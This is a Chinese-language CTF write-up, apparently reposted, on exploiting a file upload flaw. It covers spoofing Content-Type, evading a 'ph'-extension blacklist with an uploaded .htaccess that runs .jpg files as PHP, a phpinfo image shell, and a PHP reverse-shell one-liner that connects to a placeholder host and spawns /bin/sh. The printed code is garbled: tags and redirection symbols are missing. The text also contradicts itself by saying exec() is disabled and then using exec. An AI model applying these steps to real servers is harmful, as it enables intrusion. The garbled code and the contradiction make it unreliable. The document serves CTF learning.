【CTF实战】从黑名单绕过到.htaccess:一次完整的文件上传漏洞利用剖析
1. 从文件上传失败开始的CTF挑战第一次打开这个CTF靶机时我遇到了一个让人哭笑不得的情况上传一个完全正常的图片文件居然失败了。这就像你去餐厅点餐服务员告诉你我们这里不卖食物一样荒谬。但正是这种反直觉的现象往往隐藏着最有趣的安全漏洞。经过反复测试我发现问题出在文件大小限制上。服务器设置了非常严格的限制连几十KB的普通图片都无法上传。这让我想起以前做项目时遇到的一个真实案例某电商平台因为图片上传限制过小导致商家无法上传商品详情图最后发现是开发人员忘记修改默认配置值。在CTF中这种限制通常是为了增加挑战难度而故意设置的。2. 黑名单绕过的艺术2.1 文件类型检测的破解当我终于解决了文件大小问题后又遇到了新的障碍服务器只接受图片类型的文件。使用Burp Suite拦截请求后发现服务器是通过检查Content-Type字段来验证文件类型的。这让我想起一个经典笑话把Word文档后缀改成.txt它就变成文本文件了吗显然不是。通过修改请求中的Content-Type为image/png我成功绕过了这层检查。但真正的挑战才刚刚开始 - 服务器还使用了黑名单机制来阻止特定文件类型的上传。2.2 黑名单机制的局限性测试发现所有以ph开头的后缀名都被禁止了包括.php、.php3、.php5等。尝试使用空字节截断(0x00)也失败了因为目标服务器是Linux系统。这让我意识到现代Web应用的安全防护确实在进步。记得去年参加某次安全会议时一位资深研究员说过黑名单就像是在玩打地鼠游戏你永远不知道下一个漏洞会从哪里冒出来。在这个案例中虽然常见的PHP后缀都被封堵了但还有其他方法可以绕过。3. .htaccess文件的魔法3.1 为什么选择.htaccess既然直接上传PHP文件行不通我开始考虑间接执行的方法。通常我们会想到文件包含漏洞但这个靶机并不存在这个漏洞。这时候.htaccess文件就成了最佳选择。.htaccess是Apache服务器的一个配置文件它有个很强大的功能可以重新定义当前目录的文件处理方式。就像给文件夹装了一个翻译器告诉服务器以后这个目录下的所有.jpg文件都当成PHP来执行。3.2 制作有效的.htaccess文件创建一个包含以下内容的.htaccess文件AddType application/x-httpd-php .jpg这个配置的意思是将所有.jpg文件当作PHP脚本处理。为了测试这个配置是否生效我先上传了一个包含简单PHP代码的图片马?php phpinfo(); ?上传后访问这个图片文件果然看到了熟悉的phpinfo页面这种方法的精妙之处在于它完全绕过了文件后缀检查因为服务器最终是根据.htaccess的指令来处理文件的。4. 突破disable_function限制4.1 评估执行环境虽然现在可以执行PHP代码了但很快发现system()、exec()等常用函数都被禁用了。这就像拿到了一把枪却发现没有子弹。通过phpinfo()页面我确认了服务器使用的是常见的disable_function配置。这种情况下我们需要寻找替代方案。eval()函数仍然可用这意味着我们可以执行任意PHP代码只是不能直接调用系统命令。这让我想起去年审计某CMS系统时的经历即使最严格的安全配置也总会留下一些可用的函数。4.2 使用WebShell连接最终我选择上传一个连接型WebShell。这类WebShell不依赖被禁用的系统函数而是通过PHP本身的网络功能建立连接。以下是一个简单的示例?php $sockfsockopen(your_ip,port); exec(/bin/sh -i 3 3 23); ?通过这个WebShell我成功获取了服务器权限并拿到了flag。整个过程就像在玩解谜游戏每一步都需要仔细观察和思考。5. 实战中的经验总结这次挑战让我深刻体会到文件上传漏洞的利用往往需要多层次的思考。从最初的简单文件上传到最后的完整利用链构建每个环节都可能遇到各种限制和防护。在实际渗透测试中遇到文件上传功能时我通常会按照以下步骤进行测试检查基本的文件类型和大小限制尝试绕过黑名单机制寻找间接执行代码的方法评估执行环境限制选择合适的利用方式这种系统化的测试方法不仅能提高效率还能确保不会遗漏任何可能的攻击面。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2609229.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!